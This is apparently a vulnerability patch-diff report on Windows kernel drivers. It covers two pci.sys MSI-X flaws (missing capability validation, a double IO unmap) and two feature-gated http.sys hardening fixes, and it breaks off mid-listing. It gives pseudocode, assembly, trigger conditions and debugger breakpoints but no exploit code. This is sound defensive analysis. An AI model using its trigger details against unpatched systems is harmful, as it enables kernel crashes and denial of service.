Impact: Without validation, a device that presents a crafted or mutated MSI-X capability (for example by changing its config space between enumeration and device start) can drive an out-of-range BIR and table offset into the BAR-to-vector setup that PciProcessStartResources later feeds to MmMapIoSpaceEx. The consequence is a mis-directed IO-space mapping within the device's assigned resource set — not a pool overflow. Reachable only via a malicious/malformed PCIe device or a PCI-passthrough guest during PnP start.

Call Chain (attacker data flow): 1. PnP Manager sends IRP_MN_START_DEVICE for an enumerating PCI device. 2. PciDeviceStartWorker (0x1C004C480) — PCI device-start / resource processing handler. 3. PciProcessStartResources (0x1C004CE40) — iterates CmResourceList descriptors. 4. PciProcessInterruptDescriptor (0x1C004D10C) — MSI/MSI-X interrupt descriptor processor (the validated target).

Finding 2 — Dangling IO-Mapping Pointer / Double `MmUnmapIoSpace` (`PciProcessStartResources`)

Field	Value
Severity	Medium
Class	Expired pointer dereference leading to double unmap (CWE-825)
Function	`PciProcessStartResources` (unpatched `0x1C004CE40` / patched `0x14009C500`)
Entry Point	Same PnP path as Finding 1

Root Cause: During MSI-X BAR table processing, PciProcessStartResources maps the table with MmMapIoSpaceEx (0x1C004D0DF) and stores the returned VA into the persistent MSI-X descriptor at device_ext+0x398. The descriptor structure passed as arg5 is device_ext+0x388, and its +0x10 field (+0x398) is the mapped BaseAddress. On the error/cleanup path the function calls MmUnmapIoSpace (0x1C0063839) on that VA but, in the unpatched build, never clears device_ext+0x398.

Because the descriptor lives in the device extension, the stale VA survives the failed start. The device teardown paths PciDevice_Remove (0x1C0010340) and PciDevice_Stop (0x1C006CAE0) later re-check the descriptor type and unmap device_ext+0x398 if it is non-NULL:

if ( *(_DWORD *)(a3 + 904) == 3 ) {               // device_ext+0x388 == MSI-X
    v11 = *(void **)(a3 + 920);                    // device_ext+0x398 (BaseAddress)
    if ( v11 != nullptr ) {
        MmUnmapIoSpace(v11, 16 * *(_DWORD *)(a3 + 1044));
        *(_QWORD *)(a3 + 920) = 0;
    }
}

With the pointer left stale from the failed start, teardown performs a second MmUnmapIoSpace on the same, already-unmapped system-PTE range. The patch inserts the fix:

mov qword [rsi+0x10], 0        ; device_ext+0x398 = 0, at 0x14009C72D

immediately after MmUnmapIoSpace, so teardown skips the second unmap.

Impact: Double unmap of an IO-space system-PTE mapping → bugcheck / kernel system-PTE accounting corruption. Reachable when MSI-X resource processing fails partway during device start (a device presents an invalid interrupt descriptor, or a subsequent MmMapIoSpaceEx fails), followed by PnP stop/remove. Malicious or faulty-device threat model.

Call Chain: Same PnP start path as Finding 1; the second unmap occurs during a later IRP_MN_REMOVE_DEVICE / IRP_MN_STOP_DEVICE on the same device object.

3. Pseudocode Diff

Finding 1 — `PciProcessInterruptDescriptor`

// ============ UNPATCHED (0x1C004D10C) — MSI-X path, no validation ============
if ( a4 < *(_DWORD *)a2 ) {
    *(_DWORD *)a5 = 3;                                 // type = MSI-X
    if ( a4 != 0 ) goto LABEL_15;
    PoolWithTag = *(PVOID *)(a5 + 32);
    if ( PoolWithTag == nullptr ) {
        PoolWithTag = ExAllocatePoolWithTag(NonPagedPoolNx, 4LL * *(unsigned int *)(a1 + 1044), 'PciB');
        if ( PoolWithTag == nullptr ) return STATUS_INSUFFICIENT_RESOURCES;
        *(_QWORD *)(a5 + 32) = PoolWithTag;
    }
    memset(PoolWithTag, 0, 4LL * *(unsigned int *)(a1 + 1044));
    v14 = (unsigned int)(88 * *(_DWORD *)a2 + 8);      // 32-bit size (unchanged in patch)
    v15 = ExAllocatePoolWithTag(NonPagedPoolNx, v14, 'PciB');
    if ( v15 != nullptr ) {
        memmove(v15, a2, (unsigned int)v14);           // copy length == allocation size
        // *** MSI-X capability read AFTER alloc, no validation of ID or BIR ***
        PciReadDeviceConfig(a1, &v17, *(a1 + 57), 0xC);
        *(_DWORD *)(a5 + 12) = HIDWORD(v17) & 0xFFFFFFF8;
        *(_BYTE  *)(a5 + 8)  = BYTE4(v17) & 7;
LABEL_15:
        ...
        return 0;
    }
    return STATUS_INSUFFICIENT_RESOURCES;
}

// ============ PATCHED (0x14009C810) — validate BEFORE alloc ============
if ( a4 < *(_DWORD *)a2 ) {
    *(_DWORD *)a5 = 3;
    if ( a4 != 0 ) goto LABEL_20;
    PciReadDeviceConfig(a1, &v19, *(a1 + 61), 0xC);    // read cap BEFORE alloc
    if ( (_BYTE)v19 == 0x11 && (BYTE4(v19) & 7) != 7 ) // cap id == MSI-X && BIR <= 6
    {
        ... ExAllocatePool2 / memmove (same 88*count+8 size) ...
        *(_DWORD *)(a5 + 12) = HIDWORD(v19) & 0xFFFFFFF8;
        *(_BYTE  *)(a5 + 8)  = BYTE4(v19) & 7;
        goto LABEL_20;
    }
    ... WPP trace ...
    return STATUS_INVALID_DEVICE_REQUEST;              // 0xC0000184
}

Finding 2 — `PciProcessStartResources` (error/cleanup path)

// ============ UNPATCHED (0x1C004CE40) ============
// arg5 (a5) = device_ext+0x388 ; a5+0x10 = device_ext+0x398 = mapped BaseAddress
if ( *(_DWORD *)a5 == 3 ) {                            // MSI-X
    va = *(void **)((char*)a5 + 0x10);
    if ( va ) {
        MmUnmapIoSpace(va, r13);                       // 0x1C0063839
        // *** MISSING: *(_QWORD*)((char*)a5 + 0x10) = 0 ***
    }
}

// ============ PATCHED (0x14009C500) ============
if ( *(_DWORD *)a5 == 3 ) {
    va = *(void **)((char*)a5 + 0x10);
    if ( va ) {
        MmUnmapIoSpace(va, r13);                       // 0x14009C721
        *(_QWORD *)((char*)a5 + 0x10) = 0;             // 0x14009C72D  ← FIX
    }
}

4. Assembly Analysis

Finding 1 — Unpatched `PciProcessInterruptDescriptor` (MSI-X path)

1C004D22D  mov     dword ptr [rbx], 3            ; type = MSI-X
1C004D233  test    r9d, r9d
1C004D236  jz      1C004D24D                     ; proceed to allocation
1C004D2A9  imul    eax, [rsi], 58h               ; size = count * 0x58 (32-bit) — identical in patched
1C004D2B4  add     eax, 8
1C004D2B7  mov     edx, eax                       ; NumberOfBytes
1C004D2B9  mov     r13d, eax                      ; same value reused as copy length
1C004D2BC  call    cs:__imp_ExAllocatePoolWithTag
1C004D2D4  mov     r8d, r13d                      ; Size = allocation size (NOT larger)
1C004D2D7  mov     rdx, rsi                       ; Src
1C004D2DA  mov     rcx, rax
1C004D2DD  call    memmove                        ; copy length == allocation size (no overflow)
1C004D2F9  call    PciReadDeviceConfig            ; MSI-X cap read AFTER alloc, no validation
1C004D302  and     eax, 0FFFFFFF8h                ; table offset
1C004D30C  and     al, 7                          ; BIR stored unchecked
1C004D30E  mov     [rbx+8], al

Finding 1 — Patched `PciProcessInterruptDescriptor` (added validation)

14009C89F  mov     dword ptr [rbx], 3            ; type = MSI-X
14009C8A5  test    r9d, r9d
14009C8A8  jnz     14009C99C
14009C8AE  movzx   r8d, byte ptr [rdi+3Dh]       ; MSI-X cap offset (relocated device-ext field)
14009C8B3  lea     r9d, [rcx+0Bh]
14009C8BF  call    PciReadDeviceConfig            ; read BEFORE alloc
14009C8C4  cmp     byte ptr [rsp+var_68], 11h     ; capability ID must be MSI-X (0x11)
14009C8C9  jnz     14009C9B8                      ; reject
14009C8CF  mov     eax, dword ptr [rsp+var_68+4]
14009C8D3  and     eax, 7
14009C8D6  cmp     al, 6                          ; table BIR must be <= 6
14009C8D8  ja      14009C9B8                      ; reject
; ... reject block 14009C9B8 traces via WPP then:
14009CA17  mov     eax, 0C0000184h                ; STATUS_INVALID_DEVICE_REQUEST
14009CA1C  jmp     14009CAAB

Finding 2 — Unpatched `PciProcessStartResources` (dangling pointer)

1C004D0C3  mov     r13d, [rdx+414h]              ; BAR count
1C004D0D8  shl     r13d, 4                        ; size = BAR_count * 16
1C004D0DC  mov     edx, r13d
1C004D0DF  call    cs:__imp_MmMapIoSpaceEx        ; map physical IO space
1C004D0EB  mov     [rbp+10h], rax                 ; store VA into descriptor+0x10 (device_ext+0x398)
1C004D0F2  je      1C0063813                      ; fail path
; --- error/cleanup site ---
1C0063818  mov     rcx, [rsp+arg_20]              ; arg5 = device_ext+0x388
1C0063820  cmp     dword ptr [rcx], 3             ; MSI-X?
1C0063823  jnz     1C004CF6C
1C0063829  mov     rcx, [rcx+10h]                 ; BaseAddress (device_ext+0x398)
1C006382D  test    rcx, rcx
1C0063830  jz      1C004CF6C
1C0063836  mov     edx, r13d
1C0063839  call    cs:__imp_MmUnmapIoSpace
1C0063840  nop
1C0063845  nop                                    ; *** no clear of device_ext+0x398 ***
1C0063846  jmp     1C004CF6C

Finding 2 — Patched `PciProcessStartResources`

14009C708  cmp     dword ptr [rsi], 3            ; rsi = device_ext+0x388
14009C70B  jnz     14009C678
14009C711  mov     rcx, [rsi+10h]                ; BaseAddress (device_ext+0x398)
14009C715  test    rcx, rcx
14009C718  jz      14009C678
14009C71E  mov     edx, r13d
14009C721  call    cs:__imp_MmUnmapIoSpace
14009C72D  mov     qword ptr [rsi+10h], 0        ; *** CLEAR device_ext+0x398 (FIX) ***
14009C735  jmp     14009C678

5. Trigger Conditions

Finding 1 (Missing MSI-X Capability Validation)

Present a malicious or malformed PCIe device (physical, Thunderbolt/USB4, or VM PCI passthrough / SR-IOV) that advertises an MSI-X capability so the device's MSI type field is set to MSI-X during enumeration.
On IRP_MN_START_DEVICE, arrange for the MSI-X capability read at start to disagree with a valid MSI-X capability: capability ID byte != 0x11, or table BIR field == 7 (for example by mutating config space after enumeration).
Unpatched: the driver proceeds without validation and feeds the device-supplied BIR / table offset into the BAR-to-vector setup consumed by PciProcessStartResources. Patched: the start fails with STATUS_INVALID_DEVICE_REQUEST (0xC0000184).
Observable confirmation: unpatched continues device start and stores the unchecked BIR at descriptor +0x8; patched returns 0xC0000184 and does not allocate. Breakpoint PciProcessInterruptDescriptor and inspect the return status and descriptor +0x8.

Finding 2 (Double `MmUnmapIoSpace`)

Attach an MSI-X-capable PCI device and let IRP_MN_START_DEVICE map the MSI-X table BAR so device_ext+0x398 is populated.
Force MSI-X resource processing to fail after the mapping — e.g. a later interrupt descriptor returns a negative status from PciProcessInterruptDescriptor (0x1C004D001), or a subsequent MmMapIoSpaceEx returns NULL (0x1C0063813) — so the cleanup path unmaps device_ext+0x398. In the unpatched build the pointer is left set.
Device start fails; PnP issues IRP_MN_REMOVE_DEVICE / IRP_MN_STOP_DEVICE. PciDevice_Remove (0x1C0010340) / PciDevice_Stop (0x1C006CAE0) re-read device_ext+0x388 == 3 and unmap device_ext+0x398 a second time.
Observable confirmation: breakpoint MmUnmapIoSpace and observe two calls with the same base address — once on the start-failure path, once during teardown. The second call unmaps an already-freed system-PTE range, leading to a bugcheck or PTE accounting corruption.

6. Impact Assessment

Finding 1

Unvalidated device config data → the device-supplied MSI-X BIR and table offset flow into the BAR-to-vector setup that PciProcessStartResources feeds to MmMapIoSpaceEx. The mapped physical base comes from the OS-assigned CmResourceList; the device controls only the BIR selection (which resource descriptor) and the table offset added to that base, bounded to the device's assigned resource set. This is primarily a robustness / input-validation fix against malicious or mutated device config, including a config-space time-of-check/time-of-use by a device that changes its capability between enumeration and start. No demonstrated memory-safety primitive.

Finding 2

Double unmap of a system-PTE IO mapping → denial of service (bugcheck) and potential kernel system-PTE accounting corruption when the start-failure path and the device stop/remove path both call MmUnmapIoSpace on the same VA. No demonstrated controlled read/write primitive.

Reachability

Both findings are reached only during PnP device start / enumeration, operating on the device's own PCI configuration space. They are not reachable from an untrusted user-mode IOCTL surface. The realistic attacker is a malicious or malfunctioning PCIe device, a Thunderbolt/USB4 attachment, or a VM PCI-passthrough / SR-IOV guest. Standard kernel mitigations (KASLR, SMEP/SMAP, HVCI/VBS, pool/PTE integrity checks) apply but are not central to either fix, since neither yields a demonstrated corruption primitive.

7. Debugger Playbook

Finding 1 — `PciProcessInterruptDescriptor`

Breakpoints

bp pci_unpatched!PciProcessInterruptDescriptor  "Entry — RCX=device ext, RDX=resource list, R8=descriptor, R9D=index"
bp 0x1c004d22d                                   "MSI-X type set (no validation in unpatched)"
bp 0x1c004d2f9                                   "PciReadDeviceConfig — cap read AFTER alloc, no guard"
bp pci_patched!PciProcessInterruptDescriptor
bp 0x14009c8bf                                   "PciReadDeviceConfig — cap read BEFORE alloc"
bp 0x14009c8c4                                   "cmp cap id == 0x11"
bp 0x14009c8d6                                   "cmp BIR <= 6"

Key Offsets

Address	Meaning
`0x1c004d22d`	`mov dword [rbx], 3` — MSI-X type set (no pre-validation, unpatched)
`0x1c004d2a9`	`imul eax, [rsi], 0x58` — 32-bit size compute (identical in both builds)
`0x1c004d2dd`	`call memmove` — copy length equals allocation size (no overflow)
`0x1c004d2f9`	`PciReadDeviceConfig` — cap read after alloc, unchecked
Patched `0x14009c8bf`	`PciReadDeviceConfig` — cap read before alloc
Patched `0x14009c8c4`	`cmp byte [rsp+var_68], 0x11` — MSI-X capability ID check
Patched `0x14009c8d6`	`cmp al, 6` — table BIR upper bound
Patched `0x14009ca17`	`mov eax, 0xC0000184` — `STATUS_INVALID_DEVICE_REQUEST`

What to Inspect

At entry: RCX = device extension ([RCX+0x410] MSI type in unpatched, [RCX+0x520] in patched); RDX = resource list ([RDX] = descriptor count); R9D = index.
In the patched build, [rsp+var_68] after PciReadDeviceConfig holds the capability bytes: low byte = capability ID (expect 0x11), BYTE4 & 7 = BIR (rejected if 7).

Finding 2 — `PciProcessStartResources`

Breakpoints

bp pci_unpatched!PciProcessStartResources        "Entry — RCX=dev ext, RDX=resource list, R9=out buf, arg5=device_ext+0x388"
bp 0x1c004d0df                                    "MmMapIoSpaceEx — stores VA at device_ext+0x398"
bp 0x1c0063839                                    "MmUnmapIoSpace on error path (pointer left stale in unpatched)"
bp pci_unpatched!PciDevice_Remove
bp 0x1c006cae0                                    "PciDevice_Stop — second unmap of device_ext+0x398"
bp 0x14009c72d                                    "patched: clears device_ext+0x398 after unmap"

Key Offsets

Address	Meaning
`0x1c004d0df`	`MmMapIoSpaceEx` — maps MSI-X table BAR
`0x1c004d0eb`	`mov [rbp+0x10], rax` — store VA into `device_ext+0x398`
`0x1c0063839`	`MmUnmapIoSpace` on the start-failure cleanup path
`0x1c0063846`	`jmp` past cleanup — pointer still set (unpatched)
`PciDevice_Remove 0x1c0010340`	teardown re-unmaps `device_ext+0x398` if non-NULL
`PciDevice_Stop 0x1c006cae0`	teardown re-unmaps `device_ext+0x398` if non-NULL
Patched `0x14009c72d`	`mov qword [rsi+0x10], 0` — clears the pointer

Descriptor Layout (MSI-X output, `arg5` = `device_ext+0x388`, 0x68 bytes)

Offset	Type	Field
`+0x00`	`DWORD`	Type (3 = MSI-X)
`+0x08`	`BYTE`	BIR / BAR index
`+0x0C`	`DWORD`	Table offset
`+0x10`	`QWORD`	BaseAddress — the dangling pointer (`device_ext+0x398`)
`+0x18`	`DWORD`	Vector index / count
`+0x20`	`QWORD`	BAR-to-vector table pool
`+0x28`	`QWORD`	MSI-X descriptor copy pool

Device Extension Offsets

Unpatched	Patched	Field
`+0x410`	`+0x520`	MSI type (`3` = MSI-X)
`+0x414`	`+0x524`	BAR count
`+0x388`	`+0x388`	MSI-X output descriptor base (`arg5`)
`+0x398`	`+0x398`	Mapped MSI-X table BaseAddress (`arg5+0x10`)
`+0x38C`	`+0x49C`	Interrupt pin
`+0x39`	`+0x3D`	MSI-X capability offset (read by `PciProcessInterruptDescriptor`)

8. Changed Functions — Triage

Function	Sim	Change Type	Note
`PciProcessInterruptDescriptor`	0.802	security_relevant	Adds MSI-X capability validation (`cap_id == 0x11`, `BIR != 7`) and moves the config read to before the allocation. Also swaps `ExAllocatePoolWithTag` → `ExAllocatePool2` (API modernization) and sets state flag `+0x6b0 \\|= 0x2000000000000000` on success. The `88*count+8` size math and matched `memmove` length are unchanged — no integer-overflow fix.
`PciProcessStartResources`	0.566	security_relevant	Clears `device_ext+0x398` (`arg5+0x10`) after `MmUnmapIoSpace`, preventing the double unmap performed later by `PciDevice_Remove` / `PciDevice_Stop`. Also adds a legacy VGA resource filter (`PciIsVgaResource`, `0x14009C7BC`) and a second output buffer; struct offsets shift (`0x414→0x524`, `0x410→0x520`, `0x1EC→0x2FC`, `0x38C→0x49C`).
`PciDeviceStartWorker`	0.850	behavioral	Caller of `PciProcessStartResources` (device-start / resource processing). Passes `device_ext+0x388` as the MSI-X output descriptor. Offset shifts consistent with the struct refactor.
`PciAssignSlotResources`	0.489	behavioral	Second caller of `PciProcessStartResources` (slot resource assignment). Rewritten for the new struct layout.

Refactor / non-security churn: the patch is a major version rebuild — pool allocator API swap (ExAllocatePoolWithTag → ExAllocatePool2), pervasive device-extension layout shifts, and heavy WPP/ETW tracing additions. These lower the similarity score but are not behavior-affecting security changes. An independent size-arithmetic sweep across all shared functions found no additional integer-overflow guard (no new multiply/shift guard, no 32→64-bit widening, no count clamp) beyond the two changes above.

9. Added / Removed Functions

The patched build is a major version rebuild that introduces numerous new functions (for example DOE / CXL / TDISP / AER handlers and feature-staging helpers) with no unpatched counterpart. None of these is the delivered security fix; both security changes are in-place modifications to PciProcessInterruptDescriptor and PciProcessStartResources. The overflow-checked helper RtlULongLongMult appears only in the patched build, but exclusively in new code or as a refactor of an existing guard: the sole shared-function call site, PciGetRequirementsForVfs, already validated the same length * NumVFs multiply with is_mul_ok in the unpatched build, so this is a guard modernization, not a newly added overflow check.

Helpers invoked by the patched code but already present in both builds: PciReadDeviceConfig (config capability reader) and PciIsVgaResource (0x14009C7BC, legacy VGA resource filter).

10. Confidence & Caveats

Confidence: High for the existence, location, and direction of both changes. The assembly evidence is direct: the added capability validation and the cleared dangling pointer both map to concrete instruction differences between the two builds.

Caveats:

Reachability: both code paths run only during PnP device start / enumeration against the device's own config space. They are not reachable from an untrusted user-mode IOCTL surface. The attacker is a malicious/malformed PCIe device or a PCI-passthrough / SR-IOV guest.
Finding 1 impact is bounded: the device controls only the MSI-X BIR selection and table offset added to an OS-assigned physical base within its assigned resource set; there is no demonstrated pool overflow or arbitrary-mapping primitive. This is a validation / robustness fix.
No integer overflow: the 88 * count + 8 allocation-size multiply is 32-bit in both builds and the memmove length equals the allocation size in both builds. The patch does not touch this arithmetic; an integer-overflow framing does not hold against the binaries.
Finding 2 is a genuine double unmap: the descriptor at device_ext+0x388 is persistent, and PciDevice_Remove / PciDevice_Stop re-unmap device_ext+0x398 when it is left non-NULL. The fix is the pointer clear in PciProcessStartResources.
Symbol names are the driver's own export/analysis names; addresses are authoritative for breakpoints.

http.sys — Feature-gated HTTP header-count resource limit (CWE-400) and 16-bit buffer-growth integer-overflow guard (CWE-190), fixed

2026-06-29T00:00:00-07:00

1. Overview

Field	Value
Unpatched binary	`http_unpatched.sys`
Patched binary	`http_patched.sys`
Overall similarity	0.9915 (very high)
Matched functions	3587
Changed functions (above matcher threshold)	4
Identical functions	3583
Unmatched (added/removed)	0 / 0 (plus new leaf helpers `RtlUShortAdd`, `Feature_4071067963__`, `Feature_1643097402__`)

Verdict: The patch delivers two feature-gated hardening changes to the kernel HTTP stack:

A per-request header-pair count limit (MaxHeadersCount) enforced in UlParseRequestHeaderPairs. The unpatched driver bounded only total request bytes (MaxRequestBytes) and per-field length (MaxFieldLength); it placed no cap on the number of header pairs processed per request.
A 16-bit integer-overflow guard (RtlUShortAdd) on the request-buffer array growth path in UlpParseNextRequest. The unpatched driver grew a 16-bit capacity counter with an unchecked add, which can wrap at 0xFFFF.

Both changes are gated behind WIL feature-staging flags surfaced as Known-Issue-Rollback (KIR) bytes (UxKirMaxHeadersCountLimit, UxKirRefBufferOverflowCheck). When a gate is off, the driver retains the original (unbounded / unchecked) code path, so this is a staged rollout rather than an unconditional fix.

The remaining function-level deltas across the two builds are WPP software-trace message-ID renumbering (a new trace message inserted for the header-count event shifts subsequent IDs), a +4/+8 struct-field offset ripple, and ordinary recompilation codegen churn. None of those carry a behavioral security change.

2. Vulnerability Summary

Finding #1 — Missing HTTP header-pair count limit (Medium / CWE-400)

Severity: Medium
Vulnerability class: Uncontrolled Resource Consumption (CWE-400)
Affected function: UlParseRequestHeaderPairs (unpatched @ 0x1C000F440, patched @ 0x1C000FAA0).
Entry point: Any TCP connection to an http.sys-backed listener (IIS 80/443, WinRM HTTP 5985, and other HTTP Server API consumers).

Root cause:

UlParseRequestHeaderPairs receives an already-tokenized array of header pairs and a count (the count lives at arg2[1], i.e. *(rdx+8)). It loops over each entry (index = 0 .. count-1), and for each header pair it:

Validates leading/trailing whitespace on the name and value using the HttpChars classification table.
Computes a hash of the header name (ebx).
Runs a switch that compares the hash against a table of well-known header-name hashes (0xD2571FDB, 0x22AA28CC, 0x8364ED5D, 0x8E947973, 0x253F9D6E, 0x358E428A, 0x34291785, …); on a hash match it confirms with a strncmp.

In the unpatched build there is no limit on the number of header pairs this loop will process. The count is bounded upstream only by MaxRequestBytes (registry-configurable: minimum 0x100, default 0x4000 = 16 KB, maximum 0x1000000 = 16 MB). With minimal headers an attacker can fill that byte budget with a large number of header pairs, forcing the loop to perform O(count) whitespace-classification, hashing, and strncmp work in kernel context per request. Pipelined or concurrent requests raise the aggregate kernel-CPU cost.

The patch adds a count gate at the top of the loop (only when the KIR/feature gate is enabled):

Reads MaxHeadersCount from the server-configuration structure at +0x1124.
Rejects the request when header_pair_count > MaxHeadersCount + 4, setting http.sys internal error code 0x29 and status field 0xC0000040, then branching to error cleanup at 0x1C00104C3.
Emits a WPP software-trace message (id 0x5E) via WPP_SF_qLd when the limit is exceeded.

The default MaxHeadersCount is max(MaxRequestBytes >> 9, 0xC8) = max(MaxRequestBytes/512, 200); with the default 16 KB MaxRequestBytes this yields a cap of 200 (+4). It is registry-configurable in the range [0x32, 0xFFFF] (50–65535) via the MaxHeadersCount value.

Attacker-reachable call chain:

Attacker opens a TCP connection to an http.sys-backed port.
Network receive path dispatches to UlHttpReceiveHeadersEvent (@ 0x1C0006050).
UlHttpReceiveHeadersEvent calls UlParseRequestHeaderPairs at 0x1C000634A.
UlParseRequestHeaderPairs iterates the header-pair array with no count limit (unpatched).

Finding #2 — Unchecked 16-bit buffer-growth counter (Low / CWE-190)

Severity: Low (feature-gated defense-in-depth)
Vulnerability class: Integer Overflow (CWE-190), potentially reaching a heap out-of-bounds write (CWE-787)
Affected function: UlpParseNextRequest (@ 0x1C0006C30 in both builds).

Root cause:

UlpParseNextRequest maintains a growable array of 8-byte pointers on the connection object: buffer pointer at +0x648, allocated capacity (a 16-bit USHORT) at +0x640, and current used count (also 16-bit) at +0x642. When the array is full it reallocates (pool tag "UlRR" = 0x52526C55, ExAllocatePool3), copies the old contents with memmove, frees the old buffer, and increases the capacity by 5.

In the unpatched build the capacity increase is an unchecked 16-bit add:

add   word ptr [rsi+640h], 5      ; wraps silently at 0xFFFF

If the capacity counter is driven up to near 0xFFFF, this add wraps to a small value, after which the recorded capacity no longer reflects the real allocation and subsequent index writes (mov [rax+rcx*8], r15) can fall outside the allocated array.

The patch (when its gate is enabled) replaces the unchecked increment with the new helper RtlUShortAdd (@ 0x1C001FBB8), which performs capacity + 5 with a 16-bit overflow check and returns STATUS_INTEGER_OVERFLOW (0xC0000095) on wrap; the caller bails out on the negative status instead of reallocating.

Reaching the wrap requires on the order of 0xFFFF / 5 ≈ 13107 growth events (that many entries accumulated in this per-connection array), so this is a hard-to-reach hardening rather than a readily triggerable primitive. It is delivered feature-gated, with the old unchecked path retained when the gate is off.

3. Pseudocode Diff

`UlParseRequestHeaderPairs` — header-pair loop (before vs. after)

// ─── UNPATCHED @ 0x1C000F440 ─────────────────────────────────────
int UlParseRequestHeaderPairs(void *req, int64_t *args, uint32_t flags, uint8_t *status)
{
    // args[1] == *(args+8) == number of header pairs already tokenized
    // No count gate — the loop runs over all args[1] entries.
    for (index = 0; index < (uint32_t)args[1]; index++) {
        // whitespace-trim name/value via HttpChars table
        // hash(name) → switch(hash) { case 0xD2571FDB: ... strncmp ... }
    }
}

// ─── PATCHED @ 0x1C000FAA0 ───────────────────────────────────────
int UlParseRequestHeaderPairs(void *req, int64_t *args, uint32_t flags, uint8_t *status)
{
    // ── NEW: feature/KIR-gated header-count gate ──
    if (UxKirMaxHeadersCountLimit != 0) {              // gate byte (0 = old path)
        void *cfg      = *(void **)(conn_state + 0x3F8);
        uint32_t limit = *(uint32_t *)(cfg + 0x1124);  // MaxHeadersCount (new field)
        if ((uint32_t)args[1] > limit + 4) {
            WPP_SF_qLd(0x5E, ...);                      // WPP trace, msg id 0x5E
            error_code   = 0x29;                        // http.sys internal error
            status_field = 0xC0000040;                  // stored NTSTATUS value
            *status = 0;
            goto error_cleanup;                         // 0x1C00104C3
        }
    }

    for (index = 0; index < (uint32_t)args[1]; index++) {
        // identical per-header work (whitespace-trim, hash, switch/strncmp)
    }
}

Note: args[1] is an input count, not a value incremented inside this loop. The per-header pool allocation / list insertion happens in the upstream tokenizer, not in this function.

`UlpParseNextRequest` — buffer-growth guard (before vs. after)

// ─── UNPATCHED @ 0x1C0006C30 (buffer full → grow) ────────────────
if (used_count >= capacity /* [conn+0x640], USHORT */) {
    new = ExAllocatePool3(..., capacity*8 + 0x28, "UlRR");
    memmove(new, old /* [conn+0x648] */, used_count*8);
    if (capacity > 1) ExFreePoolWithTag(old, 0);
    *(uint16_t *)(conn+0x640) += 5;        // ← unchecked 16-bit add (wraps at 0xFFFF)
    *(void **)(conn+0x648) = new;
}

// ─── PATCHED @ 0x1C0006C30 ───────────────────────────────────────
if (used_count >= capacity) {
    if (UxKirRefBufferOverflowCheck != 0) {            // gate on → checked path
        USHORT newcap;
        if ((int)RtlUShortAdd(capacity, /*5*/, &newcap) < 0)  // STATUS_INTEGER_OVERFLOW
            goto error;                                        // bail, no realloc
        new = ExAllocatePool3(..., newcap*8, "UlRR");
        memmove(new, old, used_count*8);
        if (capacity > 1) ExFreePoolWithTag(old, 0);
        *(uint16_t *)(conn+0x640) = newcap;            // checked capacity
        *(void **)(conn+0x648) = new;
    } else {
        // old unchecked path retained (capacity*8 + 0x28, then += 5)
    }
}

`UxReadHttp11ParserSettings` — configuration read (patched only path)

// UxReadHttp11ParserSettings (unpatched @ 0x1C0127168, patched @ 0x1C0127178)
// MaxRequestBytes: min 0x100, default 0x4000, max 0x1000000  (unchanged)
// MaxFieldLength : moved from cfg+0x1124 (unpatched) to cfg+0x1128 (patched)

if (UxKirMaxHeadersCountLimit != 0) {                       // NEW, gated read
    uint32_t def = MaxRequestBytes >> 9;                    // /512
    if (def < 0xC8) def = 0xC8;                             // floor 200
    UxReadBoundedULongSetting(regKey, L"MaxHeadersCount",
                              def,       // default
                              0x32,      // min = 50
                              0xFFFF,    // max = 65535
                              3,         // DWORD
                              cfg + 0x1124 /* MaxHeadersCount */);
}

Adding MaxHeadersCount at cfg+0x1124 pushed MaxFieldLength from cfg+0x1124 to cfg+0x1128; this is the source of the struct-offset churn observed in several other functions.

4. Assembly Analysis

Patched `UlParseRequestHeaderPairs` — the new count gate (`0x1C000FB13`–`0x1C000FB71`)

00000001C000FB13  cmp     cs:UxKirMaxHeadersCountLimit, r12b   ; r12b = 0; gate byte
00000001C000FB1D  jz      short loc_1C000FB76                  ; gate off → old path
00000001C000FB1F  mov     rax, [rbx+3F8h]                      ; rax = server config
00000001C000FB26  mov     r9d, [rdi]                           ; r9d = header-pair count (*(args+8))
00000001C000FB29  mov     edx, [rax+1124h]                     ; edx = MaxHeadersCount (new field)
00000001C000FB2F  lea     eax, [rdx+4]                         ; eax = MaxHeadersCount + 4
00000001C000FB32  cmp     r9d, eax
00000001C000FB35  jbe     short loc_1C000FB7A                  ; count <= limit+4 → continue
00000001C000FB37  movzx   eax, byte ptr cs:WPP_MAIN_CB.Queue+1Ch
00000001C000FB3E  test    al, al
00000001C000FB40  jns     short loc_1C000FB5A
00000001C000FB46  mov     ecx, 5Eh                            ; WPP trace message id 0x5E
00000001C000FB55  call    WPP_SF_qLd
00000001C000FB5A  mov     r14d, 29h                           ; http.sys internal error code
00000001C000FB60  mov     [rbp+4Fh+var_C0], 0C0000040h        ; stored NTSTATUS value
00000001C000FB6E  mov     [r15], r12b                         ; *status = 0
00000001C000FB71  jmp     loc_1C00104C3                       ; error cleanup

Unpatched UlParseRequestHeaderPairs reaches its header loop directly (0x1C000F4CD xor r15d,r15d / 0x1C000F4D0 cmp [r12+8], ebx / 0x1C000F4D5 jbe loc_1C000F6E6) with no gate byte, no server-config read, and no MaxHeadersCount comparison.

Loop-termination check — present in BOTH builds

Patched 0x1C000FBAF cmp [rdi], ecx / 0x1C000FBB1 jbe loc_1C001024A (with ecx = 0) is the loop-entry/termination guard on the header-pair count. It corresponds exactly to unpatched 0x1C000F4D0 cmp [r12+8], ebx / jbe loc_1C000F6E6. It is not an added count check.

Host / cookie occurrence counters — saturation present in BOTH builds

The per-name occurrence counters are already saturated in the unpatched build; the patch does not add this. Unpatched:

; 'host' counter (var_A0)                     ; 'cookie' counter (var_A4)
00000001C0029F62  mov  eax, [rbp+4Fh+var_A0]  00000001C0029FAC  mov  eax, [rbp+4Fh+var_A4]
00000001C0029F65  cmp  eax, 0FFFFFFFFh        00000001C0029FAF  cmp  eax, 0FFFFFFFFh
00000001C0029F68  jnb  short loc_1C0029F6F    00000001C0029FB2  jnb  loc_1C000F6CC
00000001C0029F6A  inc  eax                    00000001C0029FB8  inc  eax
00000001C0029F6C  mov  [rbp+4Fh+var_A0], eax  00000001C0029FBA  mov  [rbp+4Fh+var_A4], eax

Patched uses the same cmp X, 0FFFFFFFFh / jnb / inc idiom on the reallocated registers/slots (host in r12d @ 0x1C000FF4B, cookie in var_B0 @ 0x1C000FF9D). This is register/slot reallocation from recompilation, not a new guard.

Patched `UlpParseNextRequest` — integer-overflow guard (`0x1C0006FE8`)

00000001C0006FE8  cmp     cs:UxKirRefBufferOverflowCheck, r12b  ; r12b = 0; gate byte
00000001C0006FEF  jz      loc_1C0007087                         ; gate off → old unchecked path
